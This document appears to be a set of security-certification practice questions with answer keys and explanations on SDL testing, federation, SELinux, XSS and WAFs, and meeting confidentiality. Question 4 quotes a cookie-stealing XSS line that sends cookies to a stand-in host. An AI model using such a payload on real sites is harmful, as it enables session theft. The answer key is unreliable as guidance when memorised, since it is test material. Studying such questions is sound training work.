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QUESTION 1

A company is in the process of implementing a new front end user interface for its customers, the goal is to provide
them with more self-service functionality. The application has been written by developers over the last six months and
the project is currently in the test phase. 

Which of the following security activities should be implemented as part of the SDL in order to provide the MOST
security coverage over the solution? (Select TWO). 

A. Perform unit testing of the binary code 

B. Perform code review over a sampling of the front end source code 

C. Perform black box penetration testing over the solution 

D. Perform grey box penetration testing over the solution 

E. Perform static code review over the front end source code 

Correct Answer: DE 

With grey box penetration testing it means that you have limited insight into the devise which would most probable by
some code knowledge and this type of testing over the solution would provide the most security coverage under the
circumstances. A Code review refers to the examination of an application (the new network based software product in
this case) that is designed to identify and assess threats to the organization. With a static code review it is assumed that
you have all the sources available for the application that is being examined. By performing a static code review over
the front end source code you can provide adequate security coverage over the solution. 

 

QUESTION 2

An organization is selecting a SaaS provider to replace its legacy, in house Customer Resource Management (CRM)
application. Which of the following ensures the organization mitigates the risk of managing separate user credentials? 

A. Ensure the SaaS provider supports dual factor authentication. 

B. Ensure the SaaS provider supports encrypted password transmission and storage. 

C. Ensure the SaaS provider supports secure hash file exchange. 

D. Ensure the SaaS provider supports role-based access control. 

E. Ensure the SaaS provider supports directory services federation. 

Correct Answer: E 

A SaaS application that has a federation server within the customer\\'s network that interfaces with the customer\\'s own
enterprise user-directory service can provide single sign-on authentication. This federation server has a trust
relationship with a corresponding federation server located within the SaaS provider\\'s network. Single sign-on will
mitigate the risk of managing separate user credentials. 

 

QUESTION 3
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An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent
abnormal application modifications or executions. Which of the following would BEST accomplish this? 

A. Access control lists 

B. SELinux 

C. IPtables firewall 

D. HIPS 

Correct Answer: B 

The most common open source operating system is LINUX. Security-Enhanced Linux (SELinux) was created by the
United States National Security Agency (NSA) and is a Linux kernel security module that provides a mechanism for
supporting access control security policies, including United States Department of Defense?tyle mandatory access
controls (MAC). NSA Security-enhanced Linux is a set of patches to the Linux kernel and some utilities to incorporate a
strong, flexible mandatory access control (MAC) architecture into the major subsystems of the kernel. It provides an
enhanced mechanism to enforce the separation of information based on confidentiality and integrity requirements, which
allows threats of tampering and bypassing of application security mechanisms to be addressed and enables the
confinement of damage that can be caused by malicious or flawed applications. 

 

QUESTION 4

A security administrator notices the following line in a server\\'s security log: 

document.location=\\'http://badsite.com/?q=\\'document.cooki e\\') + "\\'; 

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the
server. Which of the following should the security administrator implement to prevent this particular attack? 

A. WAF 

B. Input validation 

C. SIEM 

D. Sandboxing 

E. DAM 

Correct Answer: A 

The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web
Application Firewall. 

A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and
from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, 

HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS,
SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often 

not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns
in the traffic data. A WAF can be either network-based or host-based and is typically deployed through a proxy and 
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placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the
Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web 

application firewalls are a common security control used by enterprises to protect Web applications against zero-day
exploits, impersonation and known vulnerabilities and attackers. 

 

QUESTION 5

An analyst connects to a company web conference hosted on www.webconference.com/meetingID#01234 and
observes that numerous guests have been allowed to join, without providing identifying information. The topics covered
during the web conference are considered proprietary to the company. Which of the following security concerns does
the analyst present to management? 

A. Guest users could present a risk to the integrity of the company\\'s information. 

B. Authenticated users could sponsor guest access that was previously approved by management. 

C. Unauthenticated users could present a risk to the confidentiality of the company\\'s information. 

D. Meeting owners could sponsor guest access if they have passed a background check. 

Correct Answer: C 

The issue at stake in this question is confidentiality of information. Topics covered during the web conference are
considered proprietary and should remain confidential, which means it should not be shared with unauthorized users. 
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